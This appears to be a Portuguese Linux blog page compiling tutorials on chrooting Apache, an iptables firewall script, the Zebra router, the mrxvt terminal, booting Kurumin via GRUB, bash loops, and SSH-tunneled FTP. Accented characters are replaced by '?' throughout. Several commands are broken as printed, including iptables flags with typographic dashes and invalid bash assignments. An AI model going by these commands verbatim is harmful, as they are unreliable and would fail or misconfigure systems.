Configurando Apache em ambiente chroot

Este artigo foi extraido do site Underlinux.com.br:

Rodando o Apache em Chroot
Enviado em Domingo, 27 de mar?o 2005 as 11:32:21
Rodar o Apache em Chroot ? uma outra forma de melhorar a seguran?a de sua m?quina. Porque? Imagine que de ultima hora descubram um bug remoto no Apache, e esse bug pode ser explorado e com isso o atacante obtenha acesso privilegiado no sistema (root)! Com toda certeza algum dano ele vai causar na m?quina, mas se ele estiver rodando dentro de uma “jaula” chroot, na pior das hipoteses ele vai conseguir destruir apenas as p?ginas, e nao vai comprometer o servidor inteiro.

Isso ? ?timo n?o ? mesmo? Sim, mas como tudo, tamb?m tem sua desvantagem, configurar o Apache para rodar assim ? bem complicado.
Por isso estou fazendo essa “receita de bolo” para voc?s.

Antes de mais nada existem dois pontos a serem salientados:
1 – N?o vou ensinar a compilar o apache, j? existem milhares de tutoriais para isso, e pode ser que meu m?todo de compila??o n?o agrade a todos 😉
2 – Vou usar como base o meu sistema, ent?o pode ser que no seu caso, ao inv?s dos arquivos estarem em /etc/httpd/ eles estejam em /etc/apache.

Agora vamos por a mao na massa:

Caso seu apache j? n?o tenha usu?rio e grupo pr?prios, crie da seguinte maneira:
# groupadd apache
# useradd -c “Apache Server” -d /dev/null -g apache -s /bin/false apache

Vamos criar a estrutura de diret?rio necess?ria. Se voc? tiver uma parti??o separada para rodar o chroot, melhor ainda.
# mkdir /chroot/httpd
# mkdir /chroot/httpd/dev
# mkdir /chroot/httpd/lib
# mkdir /chroot/httpd/etc
# mkdir /chroot/httpd/usr
# mkdir /chroot/httpd/usr/sbin
# mkdir /chroot/httpd/usr/lib
# mkdir /chroot/httpd/usr/libexec
# mkdir -p /chroot/httpd/var/run
# mkdir /chroot/httpd/var/www/
# mkdir -p /chroot/httpd/var/log/httpd
# mkdir -p /chroot/httpd/home/httpd

Agora vamos acertar as permiss?es:
# chown -R root /chroot/httpd
# chmod -R 0755 /chroot/httpd
# chmod 750 /chroot/httpd/var/log/httpd/
# chmod 750 /chroot/httpd/home/httpd/

Agora alguns devices necess?rios para o Apache:
# mknod /chroot/httpd/dev/null c 1 3
# chown root.sys /chroot/httpd/dev/null
# chmod 666 /chroot/httpd/dev/null

O device null ? necess?rio porque dentro da jaula chroot, o Apache ir? entender o /chroot/httpd como sendo a raiz do sistema /. Ou seja, ele n?o teria acesso ao /dev/null normal do sistema.

Agora vem a parte mais complicada, vamos copiar os arquivos necess?rios
Primeiro pare o apache, como falei anteriormente pode ser que alguns diret?rios na minha m?quina sejam diferente dos da sua, ent?o n?o use CTRL+C CTRL+V, LEIA!
Primeiro copiamos os arquivos de configura??o:
# cp -r /etc/httpd/ /chroot/httpd/etc/

Agora as paginas e os scripts cgi:
# cp -r /var/www/html/ /chroot/httpd/var/www/
# cp -r /var/www/cgi-bin/ /chroot/httpd/var/www/

Agora os bin?rios do Apache e seus scripts
# cp /usr/sbin/httpd /chroot/httpd/usr/sbin/
# cp /usr/sbin/apache* /chroot/httpd/usr/sbin/

Se voc? utiliza o mod_ssl, copie este diret?rio tamb?m:
# cp -a /etc/ssl /chroot/httpd/etc/

Copie os modulos da sua instala??o original:
# cp -r /usr/lib/apache/ /chroot/httpd/usr/lib/
ATEN??O, pode ser que na sua m?quina esses arquivos estejam em /usr/libexec/apache, edite seu httpd.conf e veja onde ficam as libs.

Depois de ter copiado todos os arquivos do apache, precisamos descobrir quais s?o as libs externas que o apache necessita, para isso execute:
# ldd /chroot/httpd/usr/sbin/httpd
No meu caso ele retornou isso:

libssl.so.0.9.7 => /usr/lib/libssl.so.0.9.7 (0xb7fae000)
libcrypto.so.0.9.7 => /usr/lib/libcrypto.so.0.9.7 (0xb7ea7000)
libaprutil-0.so.0 => /usr/lib/libaprutil-0.so.0 (0xb7e93000)
libexpat.so.0 => /usr/lib/libexpat.so.0 (0xb7e74000)
libapr-0.so.0 => /usr/lib/libapr-0.so.0 (0xb7e53000)
librt.so.1 => /lib/librt.so.1 (0xb7e4a000)
libm.so.6 => /lib/libm.so.6 (0xb7e27000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0xb7df8000)
libnsl.so.1 => /lib/libnsl.so.1 (0xb7de3000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb7dd1000)
libdl.so.2 => /lib/libdl.so.2 (0xb7dcd000)
libc.so.6 => /lib/libc.so.6 (0xb7cb7000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0xb7fe9000)

Agora temos que copiar todas essas libs que ele retornou do comando ldd:
# cp /usr/lib/libssl* /chroot/httpd/lib/
# cp /usr/lib/libcrypt* /chroot/httpd/lib/
# cp /usr/lib/libapr* /chroot/httpd/lib/
# cp /lib/librt* /chroot/httpd/lib/
# cp /lib/libm* /chroot/httpd/lib/
# cp /lib/libnsl* /chroot/httpd/lib/
# cp /lib/libpthread* /chroot/httpd/lib/
# cp /lib/libdl* /chroot/httpd/lib/
# cp /lib/libc.so.6 /chroot/httpd/lib/
# cp /usr/lib/libexpat* /chroot/httpd/lib/
Tamb?m s?o necess?rias algumas libs para funcionalidades de rede:
# cp /lib/libnss_compat* /chroot/httpd/lib/
# cp /lib/libnss_dns* /chroot/httpd/lib/
# cp /lib/libnss_files* /chroot/httpd/lib/

Para que o Apache execute normalmente, s?o necess?rios varios arquivos do /etc, primeiro vamos mexer nos arquivos de senha e grupo, elas devem conter apenas os valores para o usu?rio apache, por exemplo:
# cp /etc/passwd /chroot/httpd/etc/
# cp /etc/group /chroot/httpd/etc
Edite esses arquivos e remova tudo que n?o for do apache, deve ficar algo parecido com isso:
/chroot/httpd/etc/passwd:
apache:x:1005:105:Apache Server:/dev/null:/bin/false
/chroot/httpd/etc/group:
apache:x:105:
Depois copie os arquivos de rede:
# cp /etc/hosts /chroot/httpd/etc/
# cp /etc/resolv.conf /chroot/httpd/etc/
# cp /etc/nsswitch.conf /chroot/httpd/etc/

Se voc? utiliza sistema de arquivos ext2 ou ext3 voc? aumentar ainda mais a seguran?a com o chattr, se quiser saber mais detalhes sobre o chattr, leia meu outro artigo: Protegendo Arquivos Contra Desastres
# chattr +i /chroot/httpd/etc/hosts
# chattr +i /chroot/httpd/etc/resolv.conf
# chattr +i /chroot/httpd/etc/nsswitch.conf
# chattr +i /chroot/httpd/etc/passwd
# chattr +i /chroot/httpd/etc/group

Para que os arquivos de log sejam gravados com a data correta, voc? precisa do arquivo /etc/localtime.
# cp /etc/localtime /chroot/httpd/etc

Crie os arquivos de log necess?rios:
# touch /chroot/httpd/var/log/httpd/access_log
# touch /chroot/httpd/var/log/httpd/error_log
# chmod 600 /chroot/httpd/var/log/httpd/*

Altera tamb?m o syslog para gravar o que acontece dentro do chroot tb, no meu script de inicializacao do syslog estava assim:
loadproc syslogd $SYSLOGD_OPTIONS
mudei para isso:
loadproc syslogd $SYSLOGD_OPTIONS -a /chroot/httpd/dev/log

E para finalizar, altere o script de inicializa??o do apache para executar dentro do chroot. Dependendo da sua ditro fica em /etc/rc.d/rc.apache ou /etc/rc.d/init.d/apache. Altere o comando para executar o /usr/sbin/chroot /chroot/httpd/ /usr/sbin/apache ou inv?s de /usr/sbin/apachectl.

Testando o servidor
Para testar se todas as libs necess?rias foram copiadas, execute:
/usr/sbin/chroot /chroot/httpd/ /usr/sbin/apachectl -k restart
Se tiver faltando alguma ele vai mostrar, ai basta voc? copiar a lib para dentro do chroot
Para ter certeza que o apache est? rodando dentro do chroot e nao fora pegue o PID do apache com o ps ax | grep apache e execute:
ls -la /proc/PID/root/
Isso deve mostrar a estrutura de diret?rios do chroot:
dev
etc
home
lib
usr
var

Posted in Sem categoria

Exemplo de script de firewall para Netfilter Iptables

SCRIPT DE FIREWALL
=============

# !/bin/bash
# Script do Firewall / Gateway de Internet
# Utilizando iptables e squid

# Script iniciada automaticamente atraves do link simbolico em:
# /etc/rc.d/init.d/firewall -> chamado atraves do servico IPTABLES

# Fazendo Flush
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X

# Carregando os Modulos do Kernel
#modprobe ip_tables
#modprobe ipt_LOG

# Variaveis do firewall
CONFIAVEL1=192.168.0.30
CONFIAVEL2=192.168.0.50
REDEMASQ=192.168.0.0/24

# Pol?ica Padr? de Acesso
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -A INPUT -s $REDEMASQ -p tcp –dport 3128 -j ACCEPT
#iptables -A INPUT -s $REDEMASQ -p tcp –dport 8080 -j ACCEPT
iptables -A INPUT -s $REDEMASQ -p tcp –dport 53 -j ACCEPT
iptables -A INPUT -s $REDEMASQ -p udp –dport 53 -j ACCEPT
iptables -A INPUT -i eth0 -p tcp –dport 111 -j DROP
iptables -A INPUT -i eth0 -p tcp –dport 3128 -j DROP
# Habilitando a prote?o contra “TCP SYN COOKIES”
echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# Ocultando a rota de origem dos pacotes (evita spoof)
for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
echo 0 > $f
done

# Evita atques de spoof (na rede interna)
# Em alguns casos de roteamento esta linha dever?ser desativada

for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
echo 1 > $f
done

# Permisses de acesso ao firewall
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state –state ESTABLISHED,RELATED -j ACCEPT
# Permite acesso de SSH via Internet
iptables -A INPUT -i eth0 -p tcp –dport 2222 -j ACCEPT

# Trocando o intervalo de portas locais
PORT_INI=61000
PORT_FIM=65095
echo $PORT_INI $PORT_FIM > /proc/sys/net/ipv4/ip_local_port_range

# Criando perfil de acesso administrativo (apenas por SSH)
iptables -N ADMIN
iptables -A ADMIN -i eth1 -p tcp –dport 2222 –syn -j LOG –log-level info
–log-prefix “[Acesso Admin]: “
iptables -A ADMIN -i eth1 -p tcp –dport 2222 –syn -j ACCEPT

iptables -A ADMIN -i eth0 -p tcp –dport 2222 –syn -j LOG –log-level info
–log-prefix “[Acesso Admin EXTERNO]: “
iptables -A ADMIN -i eth0 -p tcp –dport 2222 –syn -j ACCEPT

# Aplicando a permiss? de acesso ssh a CONFIAVEL 1 e 2
iptables -A INPUT -i eth1 -s $CONFIAVEL1 -j ADMIN
iptables -A INPUT -i eth1 -s $CONFIAVEL2 -j ADMIN

# Para tratar as quedas dos roteadores ADSL
GW=`route | grep default | awk ‘{print $2}’`
iptables -A INPUT -i eth0 -s 200.204.179.228 -p tcp ! –syn -j ACCEPT

# Compartilhando o acesso ?Internet
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s $REDEMASQ -o eth0 -j MASQUERADE
#PROXY TRANSPARENTE
iptables -t nat -A PREROUTING -i eth1 -p tcp –dport 80 -j REDIRECT
–to-port 3128

# Permitindo requisi?es de DNS
iptables -A FORWARD -o eth0 -s $REDEMASQ -p tcp –dport 53 -j ACCEPT
iptables -A FORWARD -o eth0 -s $REDEMASQ -p udp –dport 53 -j ACCEPT

# Bloaquear pacotes com estado “novo/inv?ido” que saiam pela eth1
# Permitir pacotes com estado “estabelecido/reinicidente”
iptables -A FORWARD -o eth1 -m state –state NEW,INVALID -j DROP
iptables -A FORWARD -o eth1 -m state –state ESTABLISHED,RELATED -j ACCEPT

# Permitindo qualquer solicita?o de Internet que parta da rede
192.168.0.0/24
iptables -A FORWARD -i eth1 -s $REDEMASQ -j ACCEPT

# Bloqueia qualquer pacote (forward) que n? liberado por regras anteriores
iptables -A FORWARD -j DROP

# Bloqueando o logando sinais de ping ao firewall
iptables -N LPI
iptables -A LPI -m limit –limit 5/hour –limit-burst 3 -p icmp –icmp-type
echo-request -j LOG –log-level info –log-prefix “Log ping: “
iptables -A LPI -j REJECT –reject-with icmp-port-unreachable
iptables -A INPUT -p icmp –icmp-type echo-request -j LPI

# Bloqueia qualquer pacote (input) que n? liberado por regras anteriores
iptables -A INPUT -j DROP

Posted in Sem categoria

Transformando seu Linux em um roteador

Este artigo foi tirado do site Dicas-L da Unicamp
Colabora??o: Rodrigo Klein Santos

O Zebra ? um projeto Open Source, que transforma seu linux praticamente em um router cisco, ou seja, ele te d? a op??o de configurar sua rede por uma interface identica a dos roteadores cisco, inclusive administrando protocolos avan?ados de roteamento como RIP, OSPF e BGP, de maneira facil e r?pida.

De inicio vamos abranger apenas a parte de instala??o e configura??o b?sica do zebra.

Para que voc? tire maior proveito do Zebra, ? bom ir se familiarizando com os comando da fam?lia Cisco.

Vamos l?…

Primeiro baixe o pacote Zebra

[root@saopaulo install]# wget ftp://ftp.zebra.org/pub/zebra/zebra-0.94.tar.gz

Descompactando.

[root@saopaulo install]# tar -zxvf zebra-0.94.tar.gz

Com isso criamos o diret?rio zebra-0.94

Vamos entrar nele.

[root@saopaulo install]# cd zebra-0.94

Execute na sequencia,

[root@saopaulo zebra-0.94]# ./configure –with-mib-modules=smux
[root@saopaulo zebra-0.94]# make
[root@saopaulo zebra-0.94]# make install

Feito isso, vamos criar o arquivo de configura??o do zebra.

Crie o arquivo: /usr/local/etc/zebra.conf

com o seguinte conte?do.

!
! Zebra configuration saved from vty
! 2008/02/04 20:04:45
!
hostname Router
password zebra
enable password zebra
!
interface lo
!
interface eth0
!
interface eth1
!
!
line vty
!



Em /etc/rc.d/init.d

Crie o script zebra

Feito isso.

[root@saopaulo zebra-0.94]# chmod 755 /etc/rc.d/init.d/zebra

[root@saopaulo zebra-0.94]# /etc/rc.d/init.d/zebra start
Iniciando Zebra : [ OK ]
[root@saopaulo zebra-0.94]#

Agora vamos acessar o zebra. Ele abre uma porta de comunica??o com o protocolo telnet, porta 2601

[root@saopaulo zebra-0.94]# telnet 127.0.0.1 2601
Trying 127.0.0.1…
Connected to 127.0.0.1.
Escape character is ‘^]’.

Hello, this is zebra (version 0.94).
Copyright 1996-2002 Kunihiro Ishiguro.

User Access Verification

Password:
Router> en
Password:
Router#

A senha padr?o que vem no conf ? ‘zebra’, mude-a depois.

Existem duas senhas, uma padr?o para acesso via rede (VTY) e uma segunda que ? a do ‘enable’ (root no cisco)…

Voc? pode abreviar quase tudo, o comando ‘enable’ por exemplo pode-se usar como ‘en’.

Agora basta voc? executar os mesmos comandos de um router Cisco..

Exemplos.


Router# sh run

Current configuration:
!
hostname Router
password zebra
enable password zebra
!
interface lo
!
interface eth0
!
interface eth1
!
!
line vty
!
end
Router#

< \zebra>

Router# conf t
Router(config)# int eth0
Router(config-if)# ip address 10.0.0.1/8 secondary


Router(config)# wr m
Router# exit

< \zebra>

Agora vamos ver como ficou a interface do Linux…

[root@saopaulo zebra-0.94]# ip a
1: lo: mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 brd 127.255.255.255 scope host lo
2: eth0: mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:01:03:d7:f5:cb brd ff:ff:ff:ff:ff:ff
inet 172.16.0.1/24 brd 172.16.0.255 scope global eth0
inet 10.0.0.1/8 brd 10.255.255.255 scope global eth0

Notem que o novo IP 10.0.0.1 que configuramos pelo zebra e j? apareceu na configura??o do sistema.

Bom, basicamente ? isso, vale a pena dar uma boa lida na documenta??o, para saber os comandos e m?os a obra, aproveite as vantagens que o zebra proporciona em termos de facilidade de configura??o e boa sorte.

Posted in Sem categoria

Mrxvt um terminal r?pido e com v?rias op??es.

Artigo tirado do site Dicas-L da Unicamp

Colabora??o: Edosn A. Dezounet

O mrxvt ? um terminal com suporte a v?rias tabs, em cada tab ? poss?vel iniciar com um comando e um nome diferente. Voc? pode baixar o pacote ou compilar o c?digo fonte de acordo com as suas prefer?ncias. Caso voc? opte por instalar o pacote a quantidade m?xina de “tabs” que poder?o ser abertas ? de 10.

Site do projeto: http://materm.sourceforge.net/

Algumas op??es:

* Modo reverso. Terminal preto com letras brancas.

-rv

* Para ficar com o fundo 100% transparente.

-tr

* Para indicar a pocentagem da tranpar?ncia.

-tr -bgfade 80%

* Coloca a barra de rolagem na direita.

-sr

* Barra de rolagem transpar?nte.

-trs

* Tamanho da fonte que ser? utilizada.

-fn 9×15

* Titulo da jenela principal.

-title “Titulo”

* Tamanho inicial do terminal.

-g 100×60

* Voc? pode escolher cores para o texto e para o fundo.
* Cor do fundo. Caso esteja habilitado a tranpar?ncia ele n?o ter? efeito.

-bg black

* Cor do texto.

-fg cyan

* Cor do cursor, escolha a sua cor preferida.

-cr red

* N?mero de terminais que ser?o abertos no inicio do Mrxvt.

-tnum 4

* Titulo de todas as tabs abertas:

-tt titulo

* Mudando o titulo das tabs.

Selecione o texto e pressione “shift+del”

* Navegando entre as tabs.

Shift + seta direcional para a esquerda ou direita
Ctrl + “Page Up/PageDown”

* Abrindo novas tabs.

Crtl + Shift + t

* Exemplos:
* Mrxvt com duas tabs, cada tab com um nome diferente.

mrxvt -tnum 2 -vt0.tt “Terminal 1” -vt1.tt “Terminal 2”

* Mrxvt com duas tabs, cada uma iniciando com um comando direfente:

mrxvt -tnum 2 -vt0.ss “top” -vt1.ss “ssh usuario@servidor.com.br”

* Reverso, com tranpar?ncia em %, tamanho da fonte, titulo da janela, titulo igual para todas as tabs.

mrxvt -rv -tr -bgfade 80% -sr -fn 9×15 -title “Terminal Mrxvt” -g 100×60 -cr red -tnum 4 -tt Linux

Posted in Sem categoria

Iniciando o Kurumin(Sem Instalar) usando o boot.ini do Windows XP/2000

Artigo tirado do site Dicas-L da Unicamp

Colabora??o: Fernando Braz de Souza

Devido a uma duvida postada no ForumWeb resolvi procurar uma maneira de fazer com que o sistema, desse boot em um CD do Kurumin copiado para o hd. Depois de varias tentativas e perder a area de boot do XP, consegui uma maneira de fazer isso.

A solu??o foi chamar o GRUB pelo c:\boot.ini

Vamos ao passo-a-passo:

1) Baixe uma imagem ISO do kurumin, ou pegue um cd do kurumin e copie a pasta KNOPPIX para uma parti??o fat. Caso voc? tenha a imagem ISO sera necessario usar ou o winrar, ou o winiso, ou outro programa de sua prefer?ncia para copiar a pasta KNOPPIX.

2) Crie um disco de boot da imagem boot.img, e copie todo o conteudo do disco para a pasta KNOPPIX do hd. Obs.:No windows utilize o rawwritewin.exe, e no linux utilize como root o comando:

dd if=/mnt/cdrom/KNOPPIX/boot.img of=/dev/fd

3) Baixe o GRUB para o windows em http://www.geocities.com/lode_leroy/grubinstall/

4) Depois descompacte o arquivo zip dentro da pasta c:\boot

5) Crie um arquivo c:\boot\menu.lst com o seguinte conteudo

default 0
fallback 1
timeout 30
title Kurumin
root (hd0,0)
kernel /knoppix/vmlinuz
initrd /knoppix/miniroot.gz
boot

No meu caso a pasta knoppix est? na disco 0 parti??o 0 (hd0,0) . Caso o seu knoppix esteja no disco 0 e na primeira unidade l?gica da parti??o estendida vai ser (hd0,4).

6) abra um prompt do DOS e entre na pasta c:\boot e digite

grubinstall -d (hd0,0) -1 C:\boot\stage1 -2 C:\boot\stage2

7) Edite o arquivo c:\boot.ini colocando o timeout=30 e adicionando a linha abaixo no final do arquivo.

c:\boot\stage1=”GRUB”

8) Agora ? s? reiniciar e testar.

9) Vantagens:

* Permitir que n?o tem gravador de CD utilizar o kurumin.
* ? mais Rapido do que rodando direto do cd.
* O Drive de CDROM fica livre. Obs.: O /dev/cdrom n?o ? um link para o dispositivo de cdrom e sim para a parti??o onde esta a pasta knoppix.

Esse passo-a-passo foi testado no windows XP com parti??o FAT32. Como o bootloader do Windows 2000 ? o mesmo do Windows XP, ent?o o mesmo dever? funcionar perfeitamente no w2k com parti??o FAT32. Quem testar e conseguir fazer o procedimento em parti??es NTFS poderia me enviar um email dizendo que conseguiu.

Posted in Sem categoria

Curso de Shell

Curso de Shell – Aula IV
Por: Alex Borro ( 10/04/2001 )

Nesta aula vamos aprender sobre comandos de la?o como o while, for, case e select. Eles nos permitem executar alguns comandos diversas vezes, sob determinadas condi??es e at? montar menuzinhos para interagir com o usu?rio.

While

Este ? provavelmente o comando de la?o mais utilizado em programa??o. Seu entendimento ? simples. Ele testa uma condi??o (como faz o IF) e executa um conjunto de comandos se esta condi??o for verdadeira. Ap?s a execu??o desses comandos, ele torna a testar a condi??o e se esta for verdadeira, ele reexecuta os comandos e assim por diante.

Sua sintaxe ? a seguinte:

while [ condi??o ];
do
comando 1;
comando 2;

done;

O par?metro [ condi??o ] funciona exatamente igual ao do IF. N?o voltarei a abortar os par?metros condicionais pois eles j? foram explicados na aula 3. Em caso de d?vida sobre isso, uma r?pida revis?o na aula 3 ? suficiente.

Bom, vamos ao exemplo mais simples do While: um contador.

x = 0
While [ “$x” -le 10 ];
do
echo “Execu??o n?mero: $x”?;
x = $((x+1));
done;

Analisando:

Na primeira linha temos a condi??o: enquanto o valor da vari?vel x ( $x ) for menor-igual ( -le ) a 10, fa?a: mostre “Execu??o n?mero: ” e o valor de x ($x). Fa?a x = x + 1. Isso no bash ? feito pelo comando $(( )). Ele realiza opera??es alg?bricas com vari?veis. No caso acima, estamos somando x + 1 e colocando o resultado no pr?prio x.

Preste aten??o, que as linhas do While precisam de um “;” para terminar, exceto a que cont?m o “do”, pois ele representa o come?o do bloco de comandos.

Quando executamos o script acima, temos uma contagem de 1 at? 10:

neo@matrix:~$ x=0; while [ “$x” -lt 10 ]; do x=$((x+1)); echo
“Execu??o n?mero: $x”; done;
Execu??o n?mero: 1
Execu??o n?mero: 2

Execu??o n?mero: 10
neo@matrix:~$

O While tem muita utilidade em programa??o, mas fica dif?cil dar exemplos usando somente ele, pois geralmente ele est? associado a execu??o de outros programas e rotinas mais complexas.

Eu costumo usar ele, por exemplo, quando quero que o napster fique tentando conectar, pois quando ele vai tentar conectar o servidor e n?o consegue, ele simplesmente termina. Ai eu coloco o while testando a c?digo de retorno dele (lembram da vari?vel $? ) e enquanto estiver diferente de zero (o napster terminou com erro), ele fica executando o napster:

? = 1; while [ “$?” -ne “0” ]; do ./nap; done;

O comando “? = 1” tenta atribuir 1 a vari?vel ?. Isso provoca um erro, pois a vari?vel ? ? somente de leitura. Isso ? necess?rio para que ? Contenha algo diferente de 0, pois sen?o o While n?o executa a primeira intera??o.

For

O for ? semelhante ao while usado como um contador. ? necess?rio fornecer uma lista de nomes e ele executa os comandos para cada nome na lista. Parece meio confuso, mas ? simples. Veja a sintaxe:

for in ;
do
comandos
done;

O For associa o primeiro item da lista de nomes ? vari?vel e executa os comandos. Em seguida, associa novamente o segundo item da lista ? e executa novamente os comandos… e assim por diante, at? acabar a lista.

Veja o exemplo:

neo@matrix:~$ for x in Compra Venda Aluguel; do echo $x; done;
Compra
Venda
Aluguel

Ou seja, primeiro ele coloca “Compra” na vari?vel x e executa os comandos, no caso, “echo $x”, e assim por diante.

Podemos facilmente implementar um contador, usando em conjunto com o for, o programinha “seq”. Ele simplesmente gera uma seq??ncia de n?meros. Por exemplo, “seq 10” gera uma seq??ncia de 1 at? 10. Assim, podemos us?-lo no for:

for x in $(seq 10); do echo $x; done;

Esse comando ? semelhante ao contador implementado com o While. Primeiro o x vale 1 e o for executa os comandos. Depois x vale 2 e ele reexecuta os comandos…

Vamos usar o For para renomear os arquivo de um diret?rio, mudando todos os arquivo terminados em “.mp3” para “.mp3.bak”.

for x in *; do
mv “$x” “${x}.bak”;
done;

for x in *.mp3; do
if [ -e “$x” ];
then mv “$x” “${x}.bak”;
fi;
done;

No local de nos colocamos “*.mp3”. Isso diz ao bash para expandir (transformar) ele na lista de arquivos terminados com “.mp3”. Sen?o houver nenhum arquivo com essa termina??o, o bash n?o faz nada, ficando para o for a string “*.mp3”. Por isso precisamos do IF para testar se o arquivo existe.

Experimente no seu sistema.

echo *.mp3

Vai mostrar os arquivos no diret?rio atual com termina??o mp3, mas sem quebra de linha entre eles, ou seja, um nome ap?s o outro. Se n?o houver nenhum arquivo com termina??o mp3, ele apenas vai mostrar “*.mp3”.

Bom, voltando ao For, ele vai atribuir a “x” cada nome na lista de arquivos com termina??o “.mp3” e executar os comandos seguintes.

Primeiro ele testa para ver se o arquivo existe ( if [ -e “$x” ]; ), e se existir, renomeia ele para o seu pr?prio nome acrescido de “.bak” ( ${x}.bak ).

Resumindo, o For faz isso: voc? fornece uma lista de nomes para ele e ele vai atribuindo esses nomes, em ordem e um por vez, ? vari?vel e executa os comandos entre o “do” e o “done;”.

Case

O Case est? mais para um comando condicional do que para comando de la?o, visto que ele n?o executa “loopings” como o While e o For.

Ele geralmente ? utilizado como substitui??o de v?rios IFs.. Um exemplo cl?ssico e muito utilizado ? quando voc? precisa testar um par?metro fornecido na linha de comando. O Case ? utilizado desta forma em scripts de inicializa??o de servi?os do sistema.

Vou mostrar a sintaxe em em seguida um script que inicialize/ reinicialize ou pare algum servi?o (como o sendmail, apache, bind, etc).

Sintaxe:

case in

)

;;

[op??o 2] )

;;
* )
< comandos se n?o for nenhuma das
op??es >
;;
esac

Vamos as explica??es. O Case pega a string fornecida em e compara com . Se forem iguais, ele executa e sai fora. Caso contrario, ele compara com e assim por diante.

Caso n?o seja igual a nenhuma das op??es, ele executa os comandos da op??o “*”, se este existir.

Prestem aten??o a alguns detalhes na sintaxe. Deve existir um “)” ap?s cada op??o e tamb?m um “;;” ap?s todos os comandos de cada op??o. Vejam o exemplo abaixo:

case “$1” in

‘start’ )
echo “Iniciando o servi?o…”

;;
‘restart’ )
echo “Reinicializando o servi?o…”

;;
‘stop’ )
echo “Parando o servi?o…”

;;
*)
echo “Op??o invalida!”
echo “As op??es v?lidas s?o:
start, stop e restart”
;;
esac

O Case serve exatamente para isso, ou seja, evitar o teste de v?rios Ifs. No caso acima, ter?amos que utilizar 3 Ifs. Mesmo se o primeiro j? fosse verdadeiro, o bash iria testar o segundo e o terceiro, ou seja, ia perder tempo desnecessariamente. J? no case isso n?o acontece. Ap?s entrar em uma op??o e executar seus comandos, ele j? pula fora do case sem testar as outras op??es abaixo.

Select

O Select ? um comando de la?o que nos permite mostrar um pequeno menuzinho de op??es para o usu?rio. Cada op??o possui um n?mero e para escolher, o usu?rio digita o n?mero correspondente a op??o desejada. Vejamos a sintaxe a seguir:

select in ;
do

done;

Como disse acima, o select vai mostrar as op??es contidas em , uma por linha, com um n?mero na frente e espera que o usu?rio digite a op??o desejada. Ao digitar a op??o, o select atribui o nome da op??o a vari?vel e executa os comandos. Para sair do select, ? necess?rio executar o comando “break”. Vamos a um exemplo:

select x in Iniciar Reiniciar Parar Sair; do
echo “Op??o Escolhida: $x”
if [ “$x” == “Sair” ]; then break; fi;
done;

Ou seja, se o usu?rio escolher alguma op??o diferente de “Sair”, o script apenas escreve a op??o. Se for escolhida Sair, ele mostra a op??o, entra no IF e executa o break, saindo do select.

? interessante combinar o Select com o Case. Vamos mostrar como ficaria aquele exemplo do case, de iniciar um servi?o, utilizando o Select, para tornar o script interativo:

select x in Iniciar Reiniciar Parar Sair; do

case “$x” in
‘Iniciar’ )
echo ” Iniciando o
servi?o…”
;;
‘Reiniciar’ )
echo ” Reinicializando o
servi?o…”
;;
‘Parar’ )
echo ” Parando o servi?o…”
;;
‘Sair’ )
echo ” Script encerrado.”
break
;;
*)
echo ” Op??o
inv?lida!”
;;
esac
done;

Primeiramente o Select mostra um menuzinho:

1) Iniciar
2) Reiniciar
3) Parar
4) Sair
#?

Quando o usu?rio digitar um n?mero de op??o, o select executa o case e este compara a vari?vel x com suas op??es. Se achar alguma, executa seus comandos, no caso um echo. Se o usu?rio escolher Sair, al?m do echo, ele executa o “break”, que interrompe o select:

neo@matrix:~/test$ ./t
1) Iniciar
2) Reiniciar
3) Parar
4) Sair
#? 1
Iniciando o servi?o…
1) Iniciar
2) Reiniciar
3) Parar
4) Sair
#? 5
Op??o inv?lida!
1) Iniciar
2) Reiniciar
3) Parar
4) Sair
#? 4
Script encerrado.
neo@matrix:~/test$

Bom pessoal, acho que por hoje ? s?. 😉 Espero que voc?s tenham pego a id?ia de como funciona comandos de la?os. Pelos menos sabendo a utilidade, sintaxe e como funcionam, quando surgir a necessidade, voc?s j? v?o saber quais ferramentas usar.

Qualquer d?vida, sugest?o, etc, podem me enviar um e-mail. Terei o maior prazer em responder. At? a pr?xima aula!

Copyright (C) 1999-2000 Linux Solutions

Posted in Sem categoria

LInks sobre Metodologias ageis de desenvolvimento

Os links abaixo mostram algumas mat?rias sobre metodologias ?geis de desenvolvimento:
http://www.dsc.ufcg.edu.br/~jacques/cursos/

http://www.agiledata.org/#AgileDataMethod

http://www.xispe.com.br/evento2004/curriculo.html

http://www.inf.aedb.br/article.php?sid=358

http://www.inf.aedb.br/print.php?sid=289

http://www.xispe.com.br/index.htmlhttp://pt.wikipedia.org/wiki/Engenharia_da_computação

http://www.async.com.br/~kiko/quali/

Posted in Sem categoria

Criptografando comandos de FTP pelo OpenSSH

Neste artigo estarei dando um exemplo de como criptografar comandos de aut?ntica??o de FTP atrav?s de um t?nel pelo OpenSSH.

Considera??es iniciais:

S.O usado no teste:
Debian Gnu/Linux 2.4.29
Servidor SSH: OpenSSH 3.4p1
Servidor FTP: Proftpd 1.2.10

Para que nosso exemplo funcione ? neces?rio que o o cliente e o servidor tenham suporte a conex?es FTP ativo e o servidor precisa ter suporte para aceitar os comandos PORT para m?quinas que n?o sejam do canal de comandos de origem.

Considere o exemplo abaixo:

+———————-+
|Cliente – 192.168.0.1 |——–+
+———————-+ |
| +————————+
+———–| Servidor – 192.168.0.2 |
+————————+

1) Devemos abrir uma conex?o SSH com nosso servidor de FTP seguindo o exemplo abaixo:

ssh -p 2222 -l jaccon -L 2121:192.168.0.2:21 localhost

Explicando:
-p 2222: indica a porta do servidor OpenSSH em nosso Servidor
-l jaccon: usu?rio v?lido em nosso Servidor
-L: Port forwarding
2121: suposta porta local
:192.168.0.2:21 : endere?o do servidor ftp seguido da porta de comunica??o do servi?o FTP.
localhost: m?quina local

2) Depois de logado pelo SSH use o comando abaixo para iniciar a sess?o FTP:
ftp localhost 2121

